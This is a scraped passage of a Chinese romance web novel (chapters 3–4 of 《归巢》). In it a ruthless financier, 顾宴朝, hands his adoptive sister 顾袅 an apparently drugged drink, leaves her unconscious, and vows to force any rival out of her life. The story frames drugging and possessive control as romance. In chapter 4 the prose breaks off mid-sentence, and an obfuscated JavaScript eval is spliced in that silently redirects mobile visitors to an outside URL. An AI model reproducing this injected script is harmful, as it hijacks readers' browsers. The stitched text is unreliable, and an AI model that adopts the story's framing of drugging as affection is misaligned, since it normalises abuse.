《归巢》 3. 第 3 章 随着男人话音落下,顾袅只觉得耳根像是被什么烧着,止不住发烫,还有些难以名状的羞耻。 她不喜欢哭,刚才那几滴眼泪只为唤回他的理智。 房间里没开灯,刚才拼尽全力也无法撼动的禁锢忽而彻底松开来。 顾袅看不见他的表情,也不知道他此刻在想什么,只能感觉到男人直白散漫的目光正居高临下打量着她。 那视线明明透着冷意,尽是隐匿在暗处的压迫感,可从上至下,被他扫过的位置,肌肤隐隐升起一股燥热。 顾袅下意识咽了咽喉咙,险些被他掐住喊出的那声哥哥是为了唤回他的理智和那点恻隐之心,幸好她反应快。 她不会感觉错,如果她刚才没有及时认出他来,他真的已经准备在她颈间用力...掐死她么? 意识到这一点,她不禁打了个冷战,也许是心虚作祟,根本不敢抬起头直视他,喉咙里发不出音节,腿也有些发软。 下巴被他捏住了,但没用力,指腹轻轻描摹过她的肌肤,仿佛刚刚打算掐死她的人不是他。 四周静谧,只听见男人低沉的声线响起,似笑非笑:“怎么不看我?” 他的语气听不出明显情绪,甚至有些温柔。 可每次他的语调越是温柔,就代表他越愤怒。她太了解他的脾性。 说完,他彻底失了耐性,没给她回答的时间,长指忽而发力,下巴被微微抬起,她吃痛拧眉,被迫仰起脸,迎上他的视线。 忽然,外面轰隆雷声四起,劈开夜幕,闪电照亮了他的面容。 周围不似刚刚那般漆黑,与她的高度勉强平齐的地方,是男人锋利的喉结线条。薄而紧致的下颌线条,每一寸五官的棱角都像是用画笔勾勒出的俊美悦目,是她熟悉的。 衬衫领口是刚才被她挣扎弄出的几缕褶皱,把伪装的斯文外皮撕碎了,露出原本的面目,这几年被暗藏起的戾气丛生。 心跳又是一滞,随即更剧烈地跳动起来。 晦暗不清的光线里,男人轮廓被映得愈发深邃,他生了一双多情上挑的桃花眼,眉骨却很高,明明不是粗旷的长相,本该斯文矜贵的五官,却莫名藏着几分不露痕迹的桀骜邪气。 和记忆里的面容缓缓重叠,让她想起,第一次见到他的那天晚上。 那年,顾袅十三岁。 对她来说只是一个再普通不过的夜晚。 晚上给朋友庆生分开后,顾袅在路边等着司机来接,夜晚下起了雨,细密冰凉的雨丝在路沿旁砸出一片片水洼,偶有几道车灯行驶而过,空气静谧安详。 她百无聊赖地用脚尖踢着水花,余光却注意到对面草丛后似乎藏着一个人。 顾袅屏住呼吸走近,只见那人躺在茂密丛间,双眼紧闭,看上去很年轻,满脸血污,像是没了呼吸,顾袅呼吸颤抖着,撑着伞,小心翼翼地伸出手到他的鼻间。 手刚伸出去,男人忽然睁开眼。 眸中黑漆漆一片,对上她的视线。 满是戾气,却十分好看的一双眼睛,让人不寒而栗,可她却看得怔住了。 可还没回神,那只满是血迹的手忽然捂住她的嘴,被他摁在了胸口。扑鼻而来的血腥气令人忍不住作呕,身下胸膛坚硬滚烫,陌生的男性气息扑在耳边,令她的脸颊瞬间涨红一片。 她刚想挣扎,就只听见一阵急促的脚步声由远及近,几道听上去阴戾至极的男声混在雨水和雷声里。 “人呢?” “继续找。” 顾袅终于反应过来是怎么回事,把唇咬到泛白,一动也不敢动,身后的温度滚烫,落在脸上的雨水冰冷。 很快,不远处有车灯逼近,那群脚步声不得已离开。 刚才钳制着她的手忽而松开了,砸落在地上。 她浑身不觉发着抖,克制着恐惧彻底推开男人的手臂,忽而又感觉到胸前一阵温热,借着路灯低头一看,只见潺潺的血流从男人腹部涌出,打湿了她的裙子。 白色的布料此刻鲜红刺目,让她的大脑一片空白,连呼吸都忘了。 那时的燕城并不太平,鱼龙混杂,帮派猖獗。可她被父亲保护得很好,从未亲眼目睹过这样的场景。 很快,司机到了,下车看见这副情景,像是见惯了,什么也没说,就要强行将顾袅带上车。 裙角忽而被人扯住,她回头,看见汹涌的雨水已经将他脸上的血污冲洗掉了大半,露出他白到近乎病态的肤色,乌黑的睫,高挺的鼻梁,像是用画笔描摹出来的深邃立体。 那只修长的手紧抓着她不放,漆黑的眼也死死盯着她,毫无血色的薄唇缓慢张合。 “救救我。” 只说了三个字,他便彻底昏死过去。 又是一声巨响撕破夜幕,低沉沙哑的嗓音混杂在雨声中入耳,顾袅的呼吸变得更加急促,心脏快要跳出胸膛。 她不管他,待到明天天亮,就会有人在这里发现一具尸体。 最后,她还是鬼使神差把他带上了车,把人到了医院。 那年,顾宴朝二十岁。 她把他从死亡边缘捡了回去。 - 窗外又是一阵雷声,顾袅猛然从回忆里惊醒,对上他的视线。 男人眼里熟悉的冷意,和那天夜里一模一样。 想到刚才包厢里他漠视的态度,她抿紧唇,倔强地不说话,气氛就这么无声僵持着。 鸦雀无声,他充满压迫感的视线也在看她。 折腾了一晚上,她的发丝凌乱,裙摆也脏了,再没有了摄像机前面的光鲜亮丽。 掌心的温度似乎还在,顾宴朝眼眸轻眯起,手上和鼻间仿佛都沾上了她身上的香味,若有似无。 以前她穿着睡裙在客厅里晃来晃去,那单薄的布料下面都显得空荡,露出两截细细的小腿,浑身加起来都没二两肉的样子,像是被他虐待了。 离开他几年,非但没瘦,倒是前后都翘了,都不必多问,瞎子也看得出来她过得不错。 想起她刚才那声,四年没听见了,把他攒了四年的火气都浇灭了一半。 本来是打算都撒在她身上,总归是她挑起来的,她来承受,很公平。 他还没怎么样,她倒是先哭起来了。 她还是聪明的,跟他一起生活了那么多年,知道什么办法对他管用,也明白怎么在他这种喜怒无常的人身边生存。 “是舌头被割了,还是在娱乐圈长本事了,不会叫人了?” 顾袅呼吸颤了下,当然听得出来他语气里的轻蔑和讥诮。 所以他的火气是因为刚刚她没有出声向他求救?还是因为几年前她算计他逃跑的事? 顾迟设局用她试探,她都能看出,他一定也能看得出来。他大可以坐视不管,让顾迟他们慢慢折磨她。那他现在又为什么在这里? 说明他没打算不管她。 意识到这一点,心脏像是被什么挠了一下。 他虽然性情阴晴不定,但吃软不吃硬,顾袅不想让矛盾激化,因为吃亏的只会是她。 她的眼睫微动,终于出声:“对不起。” 男人没说话,似乎已经预料到了她的反应。 她垂着眼睛不看他,从他的视角只能看见她眼尾垂落着,鼻尖蒙着晶亮的汗珠,像是刚才躲在黑暗里自保,她紧张又害怕。 只是,几分真几分假? 那天晚上她也是这副样子,给他端来一杯下了药的水,哄着他喝下。 顾宴朝唇角忽而勾了勾,湛黑的眼眸幽深如井,辨不出明显情绪。 看着他薄唇勾起的弧度,她的神经又是一紧,猜不到他想做什么。 顾袅忽然想到什么,试探着出声:“顾迟他们呢?” 他既然能出现在这,说明这里的一切都在他的掌控之中。 “死了。” 轻描淡写的两个字,顾袅浑身一震,目光惊愕地看着他。 在她愣怔间,男人再度开口:“在海里,怎么,想去看看?” 他的语气云淡风轻,侧面轮廓看不清神色,她竟然一时分辨不出他说的是真是假。 顾家的人制造过各种意外,为了要他的命。这些她都亲眼见过。 就算当初顾迟做得再过分,在顾老爷子偏袒下,这些年不管做了什么,依然安然无恙。 她心里一紧,下意识出声道:“可是爷爷....” 他语气难辨,目光紧紧噙住她:“担心我?” 像是一盆冷水浇下,把她浇得清醒了几分。 现在说这些,只会显得她更虚伪,毕竟当年主动离开的人是她。 唇瓣被咬到几乎泛白,她垂下眼睫,没再出声。 空气像是被冻结过的冷意弥漫开来,直到男人抬手开了灯,大片光亮从头顶洒下,驱散了刚才的黑暗。 她下意识闭了闭眼,适应明亮的光线,紧接着听见液体滑入杯中的声音响起。 顾袅错愕抬起头,就看见顾宴朝的手中拎着酒杯,重新走回到她身前。 他的身高高出她太多,挡住了后面的光线,周围空气似暗流无声涌动。 杯中淡黄色的液体摇晃荡漾,她的呼吸瞬间绷紧,身体也下意识瑟缩了下。 解决了顾迟,现在终于轮到她了吗? 男人挑了挑唇,漫不经心道:“抖什么?” 逆光下的眼眸黑漆漆一片,倒映出她此刻苍白的脸色。 顾宴朝垂着目光,语气难辨:“怕我也在里面下药?” 再直白不过的话,彻底撕碎了刚才所有佯装出来的平静,浑身的温度瞬间褪去,她纤细的身形一晃,再也装不出刚刚在他面前的平静温顺。 记忆如洪流般一瞬间涌入脑海。 - 计划离开的那天夜里,城市暴雨如注,墨蓝的天空像是被撕开了一道口子。 从中央公园大厦的最顶层向外望去,阴云密布,无数栋高耸入云的建筑沉默地伫立着。 房间里没有开灯,电视里正在播报一则紧急新闻。 主持人正在连线中欧某一小国的总统,男人愤怒的声线从电视里传出来。 “这是一场蓄谋已久的掠夺,抢劫!他们是一群聪明的混蛋,更是残忍的侵略者,华尔街的饿狼们利用金融武器来剥夺和屠杀一个国家,为首的Darren Gu,他阴险狡诈,没有人性也没有道德,强迫我们接受不公平的条约,以极低的价格逼迫我们出售国家最为宝贵的资源.....” 他在燕城时已经初见端倪。就算换了地方,作风也一点没变。土匪做派,谁欺他一分,他要还百倍。 顾袅已经不想再听完这场控诉。 她关掉电视,沉默着起身端着那杯沏好的蜂蜜水缓缓上楼。 杯壁尚挂着氤氲白雾,等待药粒在混沌的水中消散于无形,才推门进去。 窗帘没拉,外面的闪电亮起,照映在男人深邃立体的轮廓上,无论是从哪种角度,男人无疑都是好看的,额前的碎发被梳了上去,露出极高的眉骨。他的骨相皮相巨佳,曾经她在雕塑课上还偷偷用他的轮廓当作模特。她没再见过比他更好看的男人。 暗光下映得面庞如玉,高挺的鼻梁,线条精致的薄唇。唯独眼下的青色明显。 他闭着眼时就看不出戾气,看起来和新闻里大骂的那个混蛋豪不相干。 但顾袅知道,刚刚电视里的那些形容词,一个都没说错。 她下意识看得失神了,几秒后才恍然惊觉。 大概是已经累极,没有先去浴室洗澡,闭眼靠在床上。隔着很远都闻到了酒气,衬衫仍然束在裤腰里,皮带上方却被折出了几丝褶皱,莫名多了几分性感的味道。 顾袅猜测,他应该又是几天几夜不曾合眼。 把外面的世界搅得天翻地覆之后,他才会有空回来睡一觉。 这次究竟做的有多过分,才能让一国总统都丧失了风度,只能在新闻里斥责控诉。她不知道。 卧室里空荡安静,蔓延着雨声和冰冷的气息。 顾袅安静看了一会儿他的睡颜,走过去轻声叫醒他。 乌黑如鸦羽的眼睫动了动,男人睁开眼,少了平时在人前的强势凛然,微微眯起眼看着她,眼里有些未清的醉意。 她动作轻柔地把他扶起,克制着心里的紧张。 “你喝醉了,喝这个会舒服些。” 他盯着那杯蜂蜜水,片刻后,又看向她,那双狭长的眸里晦涩得辨不清情绪。 无声的对望中,顾袅握着杯壁的手指不自觉收紧,心脏几乎快要跳到嗓子眼,甚至已经怀疑他察觉到了什么。 就在她以为男人不会接过时,他却有了动作。 他扬起脖颈,喉结滚动,将杯中的液体一饮而尽。 将她递来的那杯水一饮而尽,他又闭着眼哑声说:“在这陪我。” 顾袅喉咙发涩,点了点头,坐在床边,任由他抓着手腕。 她察觉到他的呼吸越来越重,猜测是药物起效了,轻轻掰开他的手指。 明明吃了安眠药昏睡过去,手还是攥得她有些痛。 她是算准了剂量的,他本该到明早才会醒来。 可顾袅刚拖着行李准备出门,就听见身后楼梯传来声响。 她惊愕地转过身,就看见本该在床上熟睡的人出现在身后。 鲜红刺目的血染红了衬衫,顺着他的手臂,啪嗒啪嗒地滴落在地板上。 是她刚才拿上去的杯子被他打碎了,尖锐的玻璃碎片此刻被他攥在手心里,此刻已经血肉模糊。 那药的效果在他身上并不理想,他连抵抗药物作用都比普通人更胜一筹。 下到最后一节台阶,男人终于体力不支,跪在了地上,他的身体靠在墙边,衬衫的领口凌乱敞开,姿态狼狈,冷白的手臂上此刻全是血肉模糊的划痕,看上去触目惊心。 她看着男人拾起一片最为锋利的碎片,狠戾又决绝,仿佛他此刻伤害的并不是自己的身体。 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像是看出她的挣扎和动摇,男人的语调忽而温柔下来,带着丝丝蛊惑:“还想要什么?我都给你。回来.....” 父亲去世后,这些年在他身边,奢侈的生活,昂贵珠宝,最好的教育,什么都有,他都不缺她。 可她什么都不想要,她只想走,离他越远越好。 这里有24小时安保,她只要出门找人求救,趁乱就可以离开。他不会有事。 如果错过这次,她就再也没机会了。 最后,顾袅屏住呼吸转身,推开门踉跄往外走,直到听见门重新上锁的声音响起,所有的一切都被隔绝在身后。 她走得坚决,连头也没回。 她也是第一次发现,原来自己也可以那样狠心。 “如果我是你,那晚就会下毒药。” 熟悉的低沉声线猛然打断她的回忆。 顾袅猛然回神,看着他手里那杯液体,和回忆的画面一点点重合,只觉得喉咙里像是被塞进了一团棉花,艰涩地发不出声音。 男人的语气里没有情绪,是在认真的,教她怎样不留后患。 这样就不会有今天,被他找到的时候。 让他死了,才是彻底的摆脱他。做事就要这样干干净净。 呆在他身边这么久,她连他半分狠戾都没学到。 心软当然就该是这个下场。像她这样的,早就应该被吃得连渣都不剩。 她忘了,他是顾宴朝。他冷漠,薄情寡义。 她曾经亲手阻止过他杀人的,告诫他绝对不能那么做,因为那是他的亲生父亲。 他什么都敢,为什么不可能对她动手?虽然已经过了几年,但时间不会轻易冲淡他的恨。 她明明知道他的骨子里是什么样子,当初非但没有远离他,甚至还把他带回了家。 她也没想过他会用那样歇斯底里的方式挽留,她只想离开而已,偏偏最后的结果不遂人愿。 看着他手里的那杯液体,浑身止不住地发冷。 这是迷药.....还是毒药? 恰好这里是海上,死了,再扔进海里,连尸体都找不到。 顾袅的眼睫不受控制地颤抖,慢慢伸出手,接过了那杯酒。 心一横,不再思考任何,她仰头将杯中液体一饮而尽。 喝得太急,她呛到了,弓着腰一直咳嗽,纤细的肩抖着,红唇上覆着一层薄薄的水光,还有晶莹的液体顺着唇角流下来。 他就这样盯着她看,始终没有动作,漆眸中深深浅浅。 高度数的洋酒,跟直接喝酒精没什么区别,她一直不喜欢酒的味道,苦得她舌尖发麻。 无限的未知放大了恐惧,顾袅只觉得五脏六腑好像都开始难受,胃部火烧火燎,像是有小虫子在里面啃噬。 她也不知道这是不是自己的心理作用。还是她喝下去的东西开始起效了。 顾宴朝到底给她下了什么药? 她开始有些站立不稳,男人居高临下站在她对面,低垂着目光,好整以暇地盯着她看。 她身上披着的那件毛衣刚才因为挣扎已经滑落掉了一半,黑发散着,半挡雪白圆润的肩头,细细的带子像是随便一扯就能断掉,像花瓣要掉不掉的蔷薇花苞,在狂风暴雨下摇摇欲坠,娇怜动人。 几年前她脸上还有些少女的婴儿肥,现在俨然褪去了,眼睛还是和以前一样,干干净净,一尘不染。 顾袅咬紧了唇瓣不说话,瞪着他,眼里不见丝毫畏惧,也没有了刚才装出来的讨好温顺,倒比刚刚顺眼多了。 明明害怕极了,又偏偏倔强地瞪着他。也不肯开口求他半句,不肯服软。 男人的眼眸蓦然暗了下去,他慢条斯理解了袖扣,俯身逼得更近。 独属于他身上强势的男性气息袭来,四周的氧气瞬间被压制到稀薄无几,她本能慌乱地退后一步,背后抵到冰冷的墙面上,心跳不受控制地加剧。 修长冷白的手指挑起她黏在颈侧的发丝,拨弄到耳后,被他摩挲出奇异的,无法忽视掉的痒。 对上顾宴朝的视线,顾袅咬紧唇克制住颤栗,别开了脸。 发丝如绸缎般顺滑冰凉,心神震颤的触感很快从他的手心滑了出去。 他收了手,眼眸轻眯起,似有阴云席卷:“忘了当初怎么跟我说的?” 见她怔了下,显然她不知道他说的是哪件事,但顾宴朝记得清楚。 他被顾家流放到美国之前,她去他的房间里,坐在他的床上等他,漂亮的眼睛红彤彤的,一副怕被人抛弃的可怜样。 一边哽咽一边说,不管他去哪里,她都陪着他一起。她没有家了,只有他。 那年顾袅还没满十六,就跟着他走了。 到底是骗他的,还是她变得太快。不管是哪一种,他难道不该给她一点惩罚? 没人敢给他下药,再把他像垃圾一样扔掉。 顾袅不知道男人此刻在想什么,脑中也无力反应他的话,一片混沌。 头顶奢华明亮的吊灯似乎有了重影,明明晃晃,她的呼吸越来越急促,只觉得四肢发软,浑身上下越来越热。 视线迷蒙地看着眼前的身影,男人身上散发的冷意仿佛突然不再阴沉可怖,她有些不受控地上前,却忘了脚上穿着的还是高跟鞋,鞋跟陷在柔软的地毯里。 天旋地转,直至快要跌倒前的一瞬间,他才伸出手揽住她。 顾袅红唇张合,想要说话,细白的指尖却主动抓紧了他的手臂,晶莹的泪一下溢满了眼角,迷蒙漂亮的眼睛望着他,写满了茫然又无助。 他狭长的眼尾挑了挑,看着她抓紧的动作,忽而笑了。 “做什么?” 她说不出话,身体像是被丢进了炭火里,星星点点的火苗都有了燎原之势,迫切地需要一捧冷水解渴,越冰越好。 好热。 4. 第 4 章 意识如同坠入浮沉的海,断断续续的画面。有些是回忆,有些则是荒诞的梦境。 再睁开眼时,细碎的阳光温暖照映在脸上。 顾袅眼睫动了动,费力地睁开眼皮,怔了半晌,看清周围眼熟的环境,意识缓慢回笼。 是丁舒甜帮她租的公寓。 还没等她回忆起昨晚发生了什么,就听见门外传来一阵脚步声。 顾袅下意识屏住呼吸抬头,看见门把手被拧动,从外面探出一个毛茸茸的脑袋,戴着黑框眼镜,腰上还系着一条围裙,手里拿着锅铲。 “醒啦?” 见她睡醒了,丁舒甜才长松一口气走进来,嘴里碎碎念:“我还怕吵醒你呢,都没敢出声。” 顾袅松了口气,刚垂下眼,就看见身上的衣服已经被换成了睡衣。 脑中轰得一声,她急忙问:“我的衣服....” 话没说完,就直直对上丁舒甜奇怪的眼神:“当然是我给你换的啊,不然还有谁?” 顾袅顿时噤了声,拧着眉仔细感受了下,身上似乎没什么奇怪的感觉,除了有些宿醉之后的头疼。 双腿之间,似乎也是干爽的。 除了胸部有些闷闷得发胀,可能是快到例假了,顾袅没多想。 似乎没有毒药,只是会让人昏睡过去的药而已。是她自己吓自己,误以为顾宴朝真的打算杀了她。 是她把他想得太恶劣了,好歹他们一起生活过那么久,他的性命又是她救的,他不至于那样对她恩将仇报。 就在她愣怔出神时,丁舒甜走过来一屁股在床边坐下,心有余悸地开口:“我昨天半夜回家一直在等你消息,然后就接到一通电话让我过来。” 回想起昨晚在公寓楼下看见的那一幕,心脏还是忍不住狂跳。 原本她只知道顾袅这几年都如临大敌地躲着一个人,她还以为对方会有多恐怖,脑补了很多种可能,凶相毕露的土匪地痞长相,或者大腹便便的金融富豪,结果都不是。 路灯下光线昏黄,漆黑的车身隐在黑暗里,线条锃亮。 凌晨时分冷风萧瑟,将男人的西裤吹得微微震荡,矜贵斯文。 是和盛柏言截然不同的类型,比起温柔清隽,他身上散发出的更近乎于成熟男人的气场,充满压迫的,锋利的一双眼睛,冷得让人心惊。 最近陪着顾袅一起闯荡娱乐圈,各式各样的男明星男模特也见了不少,可她居然看呆了。 怀里的人被男人用大衣裹着,挡住了呼啸席卷的寒风,就这样把人抱上了楼,放到了床上,动作慢而轻缓,十分小心,像是抱着易碎的瓷器。 她还以为两个人的关系一定闹得很僵,否则顾袅不会那样害怕被找到,起码不该是她看见的这样。 可男人的动作分明温柔到了极致,不论她从哪个角度看,似乎都不像是哥哥看妹妹的眼神。 丁舒甜摇了摇头,试图把这个念头甩出去。 肯定是她思想肮脏了,她应该少看点乱七八糟的骨科文。 一边想着,她又忍不住嘟囔出声:“你明明都睡着了,还一直抱着顾总不撒手,废了好大劲儿才把你弄下来。” 顾袅表情一僵,指尖抓紧了床单,耳根泛起不自然的红。 她立刻否认:“我不记得了,你肯定看错了。” 丁舒甜轻哼一声,也没戳破她的掩耳盗铃。 她现在只是刚毕业的学生,偶然得到了一些娱乐圈的光环,和他的身份地位几乎是天差地别。更何况他们本身就没有什么血缘关系。 当年她在路边把受了重伤的顾宴朝送到医院,等他病好又带他回了秦家。 后来家里出事,父亲去世之后,他也护了她几年。 既然这样,他们之间应该也算是两清了吧。 可顾宴朝会这么觉得吗?她不确定。 静默片刻,顾袅忽然出声问:“最近的工作还剩下多少?” 丁舒甜回忆了下:“签完合同的还有一个香水广告,其他暂时还没签。怎么了?” 顾袅张了张唇,目光闪过犹豫:“要不先停一停吧。我最近有点累。” 与其等到出现意外后被迫终止,不如先暂且停止,起码事情还在她的掌控之内,不会得罪品牌方,也不至于给别人的工作带来麻烦。 商业代言可以先搁置,丁舒甜皱眉:“那你看好的那个剧本呢,那可是徐明导演,万一这几天他们联系我,也不演了?” 韩国籍导演,曾经还拿下过奥斯卡最佳导演奖,前阵子刚刚发布新电影的全球公开选角,全球女明星都挤破了头。 顾袅想争取的角色并不是女主角,而是戏里面的朝鲜族舞女,表面身份是舞女,实则是敌国派去的间谍。虽然不是主角,但人物弧光完整,结局凄美,毫无疑问是个立体鲜活的女性角色。 虽然竞争对手都是有实力的女演员,但顾袅最近热度正高,说不定这种绝世好饼就砸在她们头上了。 以顾袅现在的咖位,还不够格拿下高奢品牌的代言。要是真的能拿下这个角色,国际知名度必然还能再上一个台阶。 丁舒甜盯着她的脸,看出她在想什么:“你是不是还在害怕顾总?” 她忍不住叹了口气,劝说道:“事情都过去这么久了,我觉得应该不至于,他是你哥哥,兄妹之间哪有隔夜仇,就这么放弃太可惜了。” 顾袅也抿唇沉默不语。 为了这个角色,她练了一个多月的朝鲜剑舞。就这样放弃,她也不甘心。 见她神色动摇,丁舒甜才松了口气,才想起厨房还开着火,大叫一声,急匆匆地跳下床。 刚一出门,她又想起什么探回头来,目光亮而明媚,提醒她:“对了,盛导生日快到了,你别忘了准备生日礼物。” 话音落下的一瞬间,顾袅浑身僵住,想起从昨晚开始就被她忽略的事。 顾宴朝误会当年她离开是为了和盛柏言在一起,就算不对她下手,不代表他对盛柏言也会宽容。 他们并不是网友和记者传闻的情侣关系,她还在纽约念高中时,在校外的社区义工活动里认识了他。一次偶然,他知道她打算离开,才说他想打算去英国上学,两人这才结伴。 独自生活的那几年,她一开始本以为会很艰难。 第一年入学前的学费是她偷偷贷款交上的,后来学校里为教育学的留学生特别设立了奖学金,她才不再需要为了学费发愁,只需要兼职赚生活费而已。 盛柏言帮了她很多,那年全球蔓延的病情,她也中了招,在病房里被隔离起来后,烧到不省人事,有人在病房里照顾她。 后来清醒时,她看见了盛柏言。他没有像其他留学生一样包机回国,而是选择留在那里陪她。 但顾宴朝不知道这些,他只会觉得,她当初是为了和别人私奔才离开他。 电影上映后的几个月她胆战心惊,每晚都睡不好,生怕一睁眼就被他找到了。可一连小半年时间都相安无事,她才慢慢放下心来,还以为他不会再来找她了。 她还是觉得不安。即便他们之间还没有到爱情的地步,她也不想看着他因为自己出事。 她还以为他永远不会回来,顾宴朝曾经亲口对她说过,他喜欢留在美国,是因为在那里,金钱可以凌驾权势。但在中国,权势永远大于金钱。他不喜欢受制于人。 可他现在为什么又回来了? 万一他怒火没消,她比世界上任何人都了解他的手段。 越想就越是恐惧,顾袅不自觉抓紧了身下的床单,只能强迫自己冷静下来。 曾经为了逃离他,她一个人在英国躲了四年。要不要现在就走?她这次又该躲去哪? 可如果她现在走,又要怎么跟身边的人解释? - 顾氏集团大会议室。 身着西装裙的年轻女秘书站在门外,深呼吸后,整理好衣襟,才敢抬手敲门。 得到里面回应后,她推门而入,只见会议桌旁,一个年纪略长,却美丽端庄的贵妇人端坐在那里,披着一件看不出牌子的羊绒披肩。 女人的面容极为清丽婉约,气质娴静,细眉如柳,最为特别的是眉心之间有一颗红痣。 顾青早年听从父亲安排,与港城赌王四子联姻,临近中年膝下仍无一子半女,又意外丧夫。 丈夫死因存疑,流落在外的私生子或是早夭或是生病,无一幸存。港城流言蜚语不断,顾青却只身带着大笔遗产回到燕城,成功接手顾氏旗下最为重要的酒店分支。 从此便得了港城小报如此评价:观音面,蛇蝎心。 集团内风波四起,近年来老爷子身体状况愈下,来公司的次数越来越少。三房之子顾迟纨绔不成器,手中项目接连亏损,引来股东不满,集团已经隐约呈现衰败之势,顾青意图扭转局面,却已然有些力不从心。 在美国混得风生水起的金融巨鳄,竟然是老爷子那位早逝长子的私生子。 面对父亲的命令,顾青并无不满,从容应下,似乎心甘情愿给侄子让位。 “夫人.....” 女秘书正想开口汇报,余光看见了那道伫立于窗边的陌生身影,声音一顿。 男人身型颀长,逆光站着,宽肩窄腰,剪裁精良的白衬衫包裹住的长臂垂在一侧,窗外阳光笼罩在他周身,轮廓深邃立体,神色瞧不清楚。 她一时看得心跳加速,回神后好奇顺着男人的视线向窗外看,才发现是对面办公楼外的大屏。 屏幕此时播放的是一则高奢品牌的香水广告,模特通常是时下娱乐圈内最火的女星。 很有氧气感的画面,南法的和风扑面而来,女人穿着一身白裙,手拿着那瓶香水穿梭在花丛间,裙摆随风飘逸,随着她转身的刹那,露出一张娇美灵动的面容,对着镜头回眸展颜。 男人似乎看得专注,直到广告放映结束,切换到下一则,他方才转身。 他在的场合,偌大的空间内仿佛充斥着无限威压,让人不敢随意开口。 这时,顾青抬了抬眼皮,在一旁柔声开口:“说吧。” 顾迟管理顾氏旗下的酒店和赌场,是她移交给顾迟去做的。 得了准许,女秘书回过神,谨慎开口:“二少爷联系不上了,电话打不通,他的助理也联系不上。” 好好的大活人,就这样凭空消失了? 顾迟之前也失联过,玩筹码大的赌局,或者去了谁的私人游艇上,玩一些不适合被公之于众的游戏,都见怪不怪。 顾青侧眸,看向落地窗旁站立的那道身影,眼底暗色一闪而过。 她弯起唇,不动声色地试探道:“阿朝,你最近有和顾迟联系过吗?” 男人的神色波纹不动,唇边挂着浅笑:“不清楚。” 偌大的会议室空了大半,持股比例大的股东纷纷缺席,只来了不重要的小股东。 顾家二公子不在,重要股东董事也缺席,股东大会今日是开不成了,剩下的人陆陆续续离开,并不敢多说什么。 顾青也拎包起身离开,集团大楼外,旋转门缓缓打开,保安恭敬上前打开后座车门。 助理挂断电话,转头恭敬问:“夫人,李生派人来问,还需要他们的人继续找顾迟少爷吗?” “庞七找到了吗?” 助理神情微变,声音里透着忌惮:“下落不明。” 老爷子还没死,顾迟留着还有用。 女人的掌心缓慢盘弄着那串菩提,缓缓摇了摇头,唇边挂着浅笑。 “顾宴朝暂时不会动他。就算我不管,顾姯也会想办法救她弟弟。” “但如果就这样死了,那也是他的命。” 顾迟当年是怎样欺辱顾宴朝和顾袅的,她都亲眼看在眼里。七年前的顾宴朝,年轻气盛,戾气满身。现在他不像从前了,狠戾都藏了起来,让人猜不透他想做什么。 一报还一报,总要还回去的。 就像一片草原里,骤然放进了一匹狼。她都尚且无力自保,哪里有力气去护别的羔羊? 没想到她会如此反应,助理心头一惊,连忙低下头藏住表情。 顾迟是顾青的亲侄儿,他原以为,顾青会动用人脉尽力去寻。 红灯亮起的空档,车内有电话铃声响起。 挂断后,他脸色一变,透过后视镜看向女人:“钟总秘书的电话,他反悔了,不能再支持我们。他女儿还在美国,已经被证监会调查了,说是涉嫌非法交易。” 只见顾青的面容并无意外,唇边依然挂着笑,眼尾显出几条浅浅的纹路。 “是他做的。” 当年她煞费苦心,利用顾袅把顾宴朝赶出了顾家,也未曾想到还会有今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483240|170049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天。是她心慈手软。 再听到他的名字,就是华尔街出了个传奇人物,耶鲁毕业,成了美国最年轻的华人富豪,有传言说男人身价已经越过百亿美金。跟他有关的新闻更是令人嫉妒,今日在长岛买下价值一亿美元的别墅,明天就出现在加勒比海上的豪华游艇参加派对,周围名流环绕。天价拍卖下来的世界名画被随便悬挂在公司走廊里,光交税都不知道交了多少。 究竟赚了多少钱,才能经得起这种烧法? 原来还不只这些,已经到了能够操控证监会的程度。 唯一后悔的是,当年没有在美国的时候,让人了结了他。之后再想动手,已经误了时机。 助理皱起眉,忽然间想到什么:“顾总的生母苏冷玉,听说他这些年一直在给她钱。” 酒店的年轻保洁,入不了眼的学历,胆子却大,知道这位花心风流的顾家大少爷是这家酒店的常客,于是效仿国外的新闻,偷走了房间里剩下的避孕套,用这种方式生了个儿子,企图攀龙附凤。 苏冷玉的长相并不美艳,最多算得上清秀,连做富豪的情人都不够格,又没有家世,母凭子贵的戏码当然不可能上演。 被顾家拒之门外后,顾宴朝就成了对她来说没用的弃子,是死是活都不再过问。可这女人实在太蠢,看不出自己究竟生了个怎样的儿子出来。 后座沉寂片刻,顾青幽幽出声:“你觉得他为什么会给苏冷玉那么多钱?” 闻言,助理默了片刻,想起之前调查到的内容,苏冷玉抛弃儿子之后改嫁他人,那人却是个嗜赌如命的。 拿不到钱,苏冷玉就会被赌徒丈夫毒打。 他甚至不需要亲自动手,就能看上一出好戏。 助理瞬间后背发凉,冒出冷汗,斟酌着开口:“夫人已经尽力了,是他....顾总实在太狠戾。” 顾青忽然笑开,“他就是这样的人。” 人性缺失,情感淡薄。哪只是狠戾两个字可以概括? 但每个人都有秘密,就像是藏在身体里最隐秘的那一根肋骨,害怕被人发现,一旦抽出那根最脆弱的肋骨打碎,就会让人感到剥皮抽筋般的痛。 顾青转头看向车窗外,耸立的高楼大厦飞速闪过,燕城市中心最大的广告牌。 城市冰冷的钢筋水泥间,海报上的人笑靥如花,衬得周遭的一切都变得黯淡无光。 她眸光微闪,唇边轻声喃喃:“顾袅....” - 落地窗前,男人长身伫立,他单手插兜,另一手持着电话,目光静看着车水马龙被踩在脚下。 总裁办公室空旷安静,只听电话里传出一道懒散男声。 “查过了,盛家名下那家公司的确有点问题。但你确定要这么不留余地?那可是袅袅的心上人。” 他扯动薄唇,轻嗤出声:“那就换个人。” 心上人?她喜欢谁,有什么要紧。 总归最后都要回到他身边来。 她就算敢和别人结婚,他也有千百种办法让她离婚,或者守寡。 他什么都有,她还想喜欢谁? 挂了电话,办公室门被人敲响,一个西装革履的年轻男人走进来,面容严峻,领带系得一丝不苟。 